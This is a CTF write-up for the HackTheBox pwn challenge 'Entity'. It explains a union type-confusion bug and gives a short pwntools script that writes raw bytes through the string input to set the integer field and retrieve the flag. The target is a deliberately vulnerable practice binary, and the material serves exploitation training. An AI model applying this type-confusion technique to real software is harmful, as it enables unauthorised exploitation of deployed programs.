Entity

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

This Spooky Time of the year, what's better than watching a scary film on the TV? Well, a lot of things, like playing CTFs but you know what's definitely not better? Something coming out of your TV!

Solution Approach

Core idea: Union Structure. Type Confusion.

Steps

1. Given 3 files -> 64 bit ELF, the source-code and the fake flag.

2. Let us check the binary's protections.

3. Let us analyze the source-code, analyzing the main() function, we know there's 3 functions we need to pay attention at.

4. Start by the set_field function, there's no bufferoverflow, the input stored at the buf variable shall saved to the DataStore.integer.

5. Analyzing the get_field() function, it just printed out the value stored.

6. At the get_flag() function which is our goal here, it shall printed out the flag if the integer variable of DataStore struct holds 13371337.

7. But the problem is, at the set_field() function, we need to bypass the if statement, to prevent the program exits and we can use the value stored to get the flag.

8. Seems like we need to call T to fill the value and press C to get the flag.

9. Then it shall asked, if we press T, then it asks what data type we want to store.

10. But if we press R before, it shall asks what data type stored that we want to print.

11. Anyway let us run the binary.

12. Since it's comparing the integer value in order to get the flag, let us input integer then.

13. Forgot that it quits right after it compared the integer.

14. Means we need to send strings and get the flag with it (?)

15. Yep it denies it, the only way to bypass this, we need to sends the hex or we can sends raw bytes.

16. Let us build the script.

THE SCRIPT

from pwn import *
import os

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

exe = './entity'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'debug'

sh = start()

p = flat([
    13371337
])

sh.sendlineafter(b'>> ',b'T')
sh.sendlineafter(b'>> ', b'S')
sh.sendlineafter(b'>> ', p)
sh.sendlineafter(b'>> ', b'C')

sh.interactive()

TEST LOCALLY

TEST REMOTELY

1. Got the flag!

Flag

REDACTED

Lessons Learned

1. Union Structure.
2. Type Confusion.